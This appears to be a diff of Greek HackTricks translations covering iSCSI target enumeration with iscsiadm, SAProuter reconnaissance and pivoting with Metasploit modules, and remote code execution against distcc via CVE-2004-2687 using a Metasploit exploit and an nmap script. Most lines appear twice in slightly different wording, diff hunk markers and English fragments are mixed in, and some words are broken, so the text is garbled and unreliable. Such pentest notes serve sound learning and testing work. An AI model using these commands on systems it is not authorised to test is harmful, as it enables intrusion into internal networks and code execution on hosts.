### [Mount ISCSI on Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Σημείωση:** Μπορεί να παρατηρήσετε ότι όταν ανακαλύπτονται οι στόχοι σας, αυτοί εμφανίζονται με διαφορετική διεύθυνση IP. Αυτό συμβαίνει συνήθως εάν ο υπηρεσία iSCSI εκτίθεται μέσω NAT ή εικονικής IP. Σε τέτοιες περιπτώσεις, η σύνδεση με το `iscsiadmin` θα αποτύχει. Αυτό απαιτεί δύο τροποποιήσεις: μία στο όνομα του καταλόγου του κόμβου που δημιουργείται αυτόματα από τις δραστηριότητες ανακάλυψης σας και μία στο αρχείο `default` που περιέχεται μέσα σε αυτόν τον κατάλογο.
**Σημείωση:** Μπορεί να διαπιστώσετε ότι όταν ανακαλύπτονται οι στόχοι σας, καταγράφονται κάτω από μια διαφορετική διεύθυνση IP. Αυτό συμβαίνει συνήθως αν η υπηρεσία iSCSI είναι εκτεθειμένη μέσω NAT ή μιας εικονικής IP. Σε περιπτώσεις όπως αυτές, το `iscsiadmin` θα αποτύχει να συνδεθεί. Αυτό απαιτεί δύο προσαρμογές: μία στο όνομα του καταλόγου του κόμβου που δημιουργείται αυτόματα από τις δραστηριότητες ανακάλυψής σας και μία στο αρχείο `default` που περιέχεται σε αυτόν τον κατάλογο.
Για παράδειγμα, προσπαθείτε να συνδεθείτε σε έναν στόχο iSCSI στη διεύθυνση 123.123.123.123 στη θύρα 3260. Ο διακομιστής που εκθέτει τον στόχο iSCSI βρίσκεται στην πραγματικότητα στη διεύθυνση 192.168.1.2 αλλά εκτίθεται μέσω NAT. Το isciadm θα καταχωρίσει την σωτερική_ διεύθυνση αντί της _δημόσιας_ διεύθυνσης:
Για παράδειγμα, προσπαθείτε να συνδεθείτε σε έναν στόχο iSCSI στη διεύθυνση 123.123.123.123 στη θύρα 3260. Ο διακομιστής που εκθέτει τον στόχο iSCSI είναι στην πραγματικότητα στη διεύθυνση 192.168.1.2 αλλά εκτίθεται μέσω NAT. Το isciadm θα καταχωρήσει τη σωτερική_ διεύθυνση αντί για τη _δημόσια_ διεύθυνση:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...]
```
Αυτή η εντολή θα δημιουργήσει έναν φάκελο στο σύστημα αρχείων σας όπως εξής:
Αυτή η εντολή θα δημιουργήσει έναν κατάλογο στο σύστημα αρχείων σας όπως αυτός:
```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
Μέσα στον φάκελο, υπάρχει ένα αρχείο προεπιλογής με όλες τις ρυθμίσεις που απαιτούνται για να συνδεθείτε στον στόχο.
Μέσα στον κατάλογο, υπάρχει ένα προεπιλεγμένο αρχείο με όλες τις ρυθμίσεις που είναι απαραίτητες για να συνδεθείτε με τον στόχο.
1. Μετονομάστε το `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` σε `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Μέσα στο `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, αλλάξτε τη ρύθμιση `node.conn[0].address` ώστε να δείχνει στη διεύθυνση 123.123.123.123 αντί για την 192.168.1.2. Αυτό μπορεί να γίνει με έναν εντολή όπως `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
2. Μέσα στο `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, αλλάξτε τη ρύθμιση `node.conn[0].address` ώστε να δείχνει στη διεύθυνση 123.123.123.123 αντί για 192.168.1.2. Αυτό μπορεί να γίνει με μια εντολή όπως `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
Τώρα μπορείτε να προσαρτήσετε τον στόχο σύμφωνα με τις οδηγίες στον σύνδεσμο.
Μπορείτε τώρα να τοποθετήσετε τον στόχο σύμφωνα με τις οδηγίες στον σύνδεσμο.
### [Προσάρτηση ISCSI στα Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
### [Mount ISCSI on Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
## **Χειροκίνητη απαρίθμηση**
## **Χειροκίνητη αρίθμηση**
```bash
sudo apt-get install open-iscsi
```
Παράδειγμα από τα [ιστολόγια του iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Example from [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Καταρχήν, χρειάζεστε να **ανακαλύψετε τα ονόματα των στόχων** πίσω από την IP:
Πρώτα απ' όλα πρέπει να **ανακαλύψετε τα ονόματα των στόχων** πίσω από τη διεύθυνση IP:
```bash
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_Σημείωση ότι θα εμφανίσει την I**P και τη θύρα των διεπαφών** όπου μπορείτε να **φτάσετε** αυτούς τους **στόχους**. Μπορεί ακόμα να **εμφανίσει εσωτερικές IP ή διαφορετικές IP** από αυτήν που χρησιμοποιήσατε._
_Σημειώστε ότι θα εμφανίσει τη διεύθυνση I**P και την θύρα των διεπαφών** όπου μπορείτε να **φτάσετε** αυτούς τους **στόχους**. Μπορεί ακόμη να **εμφανίσει εσωτερικές διευθύνσεις IP ή διαφορετικές διευθύνσεις IP** από αυτήν που χρησιμοποιήσατε._
Στη συνέχεια, **πιάνετε το δεύτερο μέρος του εκτυπωμένου συμβολοσειράς κάθε γραμμής** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ από την πρώτη γραμμή) και **προσπαθείτε να συνδεθείτε**:
Στη συνέχεια, **πιάστε το 2ο μέρος της εκτυπωμένης συμβολοσειράς κάθε γραμμής** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ από την πρώτη γραμμή) και **δοκιμάστε να συνδεθείτε**:
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Στη συνέχεια, μπορείτε να **αποσυνδεθείτε** χρησιμοποιώντας την εντολή `logout`
Τότε, μπορείτε να **logout** χρησιμοποιώντας `logout`
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Μπορούμε να βρούμε **περισσότερες πληροφορίες** σχετικά με αυτό απλά χρησιμοποιώντας **χωρίς** οποιαδήποτε παράμετρο `--login`/`--logout`.
Μπορούμε να βρούμε **περισσότερες πληροφορίες** γι' αυτό απλά χρησιμοποιώντας **χωρίς** κανένα `--login`/`--logout` παράμετρο
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
# BEGIN RECORD 2.0-873
@ -165,7 +162,7 @@ node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD
```
**Υπάρχει ένα σενάριο για την αυτοματοποίηση της διαδικασίας βασικής αναγνώρισης υποδικτύου διαθέσιμο στο** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
**Υπάρχει ένα σενάριο για την αυτοματοποίηση της βασικής διαδικασίας αρίθμησης υποδικτύου διαθέσιμο στο** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
## **Shodan**
@ -176,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,63 +1,65 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
Αυτό είναι ένα σύνοψη της ανάρτησης από [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
## Κατανόηση της Διείσδυσης SAProuter με το Metasploit
Ο SAProuter λειτουργεί ως αντίστροφος διαμεσολαβητής για τα συστήματα SAP, κυρίως για τον έλεγχο της πρόσβασης μεταξύ του διαδικτύου και των εσωτερικών δικτύων SAP. Συνήθως εκτίθεται στο διαδίκτυο επιτρέποντας τη θύρα TCP 3299 μέσω των πυραμίδων των οργανισμών. Αυτή η ρύθμιση καθιστά το SAProuter ένα ελκυστικό στόχο για τη δοκιμή διείσδυσης, καθώς μπορεί να λειτουργήσει ως πύλη πρόσβασης σε εσωτερικά δίκτυα υψηλής αξίας.
## Κατανόηση της Διείσδυσης του SAProuter με το Metasploit
Ο SAProuter λειτουργεί ως αντίστροφος διακομιστής μεσολάβησης για τα συστήματα SAP, κυρίως για τον έλεγχο της πρόσβασης μεταξύ του διαδικτύου και των εσωτερικών δικτύων SAP. Συνήθως εκτίθεται στο διαδίκτυο επιτρέποντας την TCP θύρα 3299 μέσω των οργανωτικών τειχών προστασίας. Αυτή η ρύθμιση καθιστά τον SAProuter ελκυστικό στόχο για pentesting, καθώς μπορεί να λειτουργήσει ως πύλη προς πολύτιμα εσωτερικά δίκτυα.
**Σάρωση και Συλλογή Πληροφοριών**
Αρχικά, πραγματοποιείται μια σάρωση για τον εντοπισμό εάν ένας SAP router λειτουργεί σε μια δεδομένη IP χρησιμοποιώντας τον ενότητα **sap_service_discovery**. Αυτό το βήμα είναι κρίσιμο για τον καθορισμό της ύπαρξης ενός SAP router και της ανοιχτής θύρας του.
Αρχικά, πραγματοποιείται μια σάρωση για να προσδιοριστεί αν εκτελείται ένας SAP router σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το **sap_service_discovery** module. Αυτό το βήμα είναι κρίσιμο για την καθ establishment της παρουσίας ενός SAP router και της ανοιχτής του θύρας.
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
```
Ακολουθεί η ανακάλυψη, όπου πραγματοποιείται περαιτέρω έρευνα στη διαμόρφωση του SAP router με τη χρήση του module **sap_router_info_request** για να αποκαλυφθούν πιθανές λεπτομέρειες του εσωτερικού δικτύου.
Ακολουθώντας την ανακάλυψη, διεξάγεται περαιτέρω έρευνα στη διαμόρφωση του SAP router με το **sap_router_info_request** module για να αποκαλυφθούν πιθανώς λεπτομέρειες του εσωτερικού δικτύου.
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
```
**Απαρίθμηση Εσωτερικών Υπηρεσιών**
**Αναγνώριση Εσωτερικών Υπηρεσιών**
Με τις αποκτηθείσες εσωτερικές πληροφορίες δικτύου, το αρθρώματος **sap_router_portscanner** χρησιμοποιείται για να εξετάσει εσωτερικούς κόμβους και υπηρεσίες μέσω του SAProuter, επιτρέποντας μια πιο βαθιά κατανόηση των εσωτερικών δικτύων και των ρυθμίσεων υπηρεσιών.
Με τις αποκτηθείσες πληροφορίες για το εσωτερικό δίκτυο, το **sap_router_portscanner** module χρησιμοποιείται για να ερευνήσει εσωτερικούς υπολογιστές και υπηρεσίες μέσω του SAProuter, επιτρέποντας μια πιο βαθιά κατανόηση των εσωτερικών δικτύων και των ρυθμίσεων υπηρεσιών.
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
```
Η ευελιξία αυτού του ενότητας στον στόχο συγκεκριμένων περιπτώσεων SAP και θυρών το καθιστά ένα αποτελεσματικό εργαλείο για λεπτομερή εξερεύνηση του εσωτερικού δικτύου.
Η ευελιξία αυτού του module στοχεύει σε συγκεκριμένες SAP περιπτώσεις και θύρες, καθιστώντας το ένα αποτελεσματικό εργαλείο για λεπτομερή εξερεύνηση εσωτερικών δικτύων.
**Προχωρημένη Απαρίθμηση και Χαρτογράφηση ACL**
**Προχωρημένη Αρίθμηση και Χαρτογράφηση ACL**
Περαιτέρω σάρωση μπορεί να αποκαλύψει πώς οι λίστες ελέγχου πρόσβασης (ACLs) έχουν διαμορφωθεί στο SAProuter, αποκαλύπτοντας ποιες συνδέσεις επιτρέπονται ή αποκλείονται. Αυτές οι πληροφορίες είναι κρίσιμες για την κατανόηση των πολιτικών ασφαλείας και των πιθανών ευπαθειών.
Περαιτέρω σάρωση μπορεί να αποκαλύψει πώς είναι διαμορφωμένες οι Λίστες Ελέγχου Πρόσβασης (ACL) στον SAProuter, λεπτομερώς ποιες συνδέσεις επιτρέπονται ή αποκλείονται. Αυτές οι πληροφορίες είναι καθοριστικές για την κατανόηση των πολιτικών ασφαλείας και των πιθανών ευπαθειών.
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
```
**Τυφλή Απαρίθμηση Εσωτερικών Υπολογιστών**
**Τυφλή Αρίθμηση Εσωτερικών Φιλοξενουμένων**
Σε περιπτώσεις όπου οι άμεσες πληροφορίες από το SAProuter είναι περιορισμένες, μπορούν να εφαρμοστούν τεχνικές όπως η τυφλή απαρίθμηση. Αυτή η προσέγγιση προσπαθεί να μαντέψει και να επαληθεύσει την ύπαρξη εσωτερικών ονομάτων υπολογιστών, αποκαλύπτοντας πιθανούς στόχους χωρίς άμεσες διευθύνσεις IP.
Σε σενάρια όπου οι άμεσες πληροφορίες από το SAProuter είναι περιορισμένες, μπορούν να εφαρμοστούν τεχνικές όπως η τυφλή αρίθμηση. Αυτή η προσέγγιση προσπαθεί να μαντέψει και να επαληθεύσει την ύπαρξη εσωτερικών ονομάτων φιλοξενουμένων, αποκαλύπτοντας πιθανούς στόχους χωρίς άμεσες διευθύνσεις IP.
**Αξιοποίηση Πληροφοριών για Τεστ Πενετράρισμα**
**Αξιοποίηση Πληροφοριών για Pentesting**
Έχοντας χαρτογραφήσει το δίκτυο και εντοπίσει προσβάσιμες υπηρεσίες, οι ελεγκτές διείσδυσης μπορούν να εκμεταλλευτούν τις δυνατότητες του Metasploit για προώθηση μέσω του SAProuter για περαιτέρω εξερεύνηση και εκμετάλλευση εσωτερικών υπηρεσιών SAP.
Αφού χαρτογραφήσουν το δίκτυο και εντοπίσουν προσβάσιμες υπηρεσίες, οι δοκιμαστές διείσδυσης μπορούν να αξιοποιήσουν τις δυνατότητες proxy του Metasploit για να προχωρήσουν μέσω του SAProuter για περαιτέρω εξερεύνηση και εκμετάλλευση εσωτερικών υπηρεσιών SAP.
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -65,10 +67,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
```
**Συμπέρασμα**
Αυτή η προσέγγιση υπογραμμίζει τη σημασία της ασφαλούς διαμόρφωσης των SAProuter και αναδεικνύει τη δυνατότητα πρόσβασης σε εσωτερικά δίκτυα μέσω στοχευμένων δοκιμών διείσδυσης. Η σωστή ασφάλεια των SAP routers και η κατανόηση του ρόλου τους στην αρχιτεκτονική ασφάλειας του δικτύου είναι ζωτικής σημασίας για την προστασία από μη εξουσιοδοτημένη πρόσβαση.
Για περισσότερες λεπτομερείς πληροφορίες σχετικά με τα αρθρώματα Metasploit και τη χρήση τους, επισκεφθείτε τη [βάση δεδομένων της Rapid7](http://www.rapid7.com/db).
Αυτή η προσέγγιση υπογραμμίζει τη σημασία των ασφαλών ρυθμίσεων SAProuter και επισημαίνει την πιθανότητα πρόσβασης σε εσωτερικά δίκτυα μέσω στοχευμένης pentesting. Η σωστή ασφάλιση των SAP routers και η κατανόηση του ρόλου τους στην αρχιτεκτονική ασφάλειας δικτύου είναι κρίσιμη για την προστασία από μη εξουσιοδοτημένη πρόσβαση.
Για περισσότερες λεπτομέρειες σχετικά με τα Metasploit modules και τη χρήση τους, επισκεφθείτε τη [βάση δεδομένων της Rapid7](http://www.rapid7.com/db).
## **Αναφορές**
@ -80,16 +81,17 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,58 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
**Το Distcc** είναι ένα εργαλείο που βελτιώνει τη **διαδικασία συλλογής** χρησιμοποιώντας τη **ανενεργή επεξεργαστική ισχύ** άλλων υπολογιστών στο δίκτυο. Όταν το **distcc** είναι εγκατεστημένο σε μια μηχανή, αυτή η μηχανή είναι ικανή να διανέμει τις **εργασίες συλλογής** σε ένα άλλο σύστημα. Αυτό το σύστημα παραλήπτης πρέπει να εκτελεί το **δαίμονα distccd** και πρέπει να έχει εγκατεστημένο έναν **συμβατό μεταγλωττιστή** για να επεξεργαστεί τον απεσταλμένο κώδικα.
**Distcc** είναι ένα εργαλείο που ενισχύει τη **διαδικασία μεταγλώττισης** χρησιμοποιώντας τη **ανενεργή υπολογιστική ισχύ** άλλων υπολογιστών στο δίκτυο. Όταν το **distcc** είναι ρυθμισμένο σε μια μηχανή, αυτή η μηχανή είναι ικανή να διανέμει τις **εργασίες μεταγλώττισης** σε ένα άλλο σύστημα. Αυτό το σύστημα παραλήπτης πρέπει να εκτελεί τον **distccd daemon** και να έχει εγκατεστημένο έναν **συμβατό μεταγλωττιστή** για να επεξεργαστεί τον αποσταλμένο κώδικα.
**Προεπιλεγμένη θύρα:** 3632
**Default port:** 3632
```
PORT STATE SERVICE
3632/tcp open distccd
```
# Εκμετάλλευση
Ελέγξτε αν είναι ευάλωτο στο **CVE-2004-2687** για να εκτελέσετε τυχαίο κώδικα:
Ελέγξτε αν είναι ευάλωτο σε **CVE-2004-2687** για να εκτελέσετε αυθαίρετο κώδικα:
```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```
# Shodan
_Δεν νομίζω ότι το shodan ανιχνεύει αυτήν την υπηρεσία._
_Δεν νομίζω ότι το shodan ανιχνεύει αυτή την υπηρεσία._
# Πόροι
# Resources
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
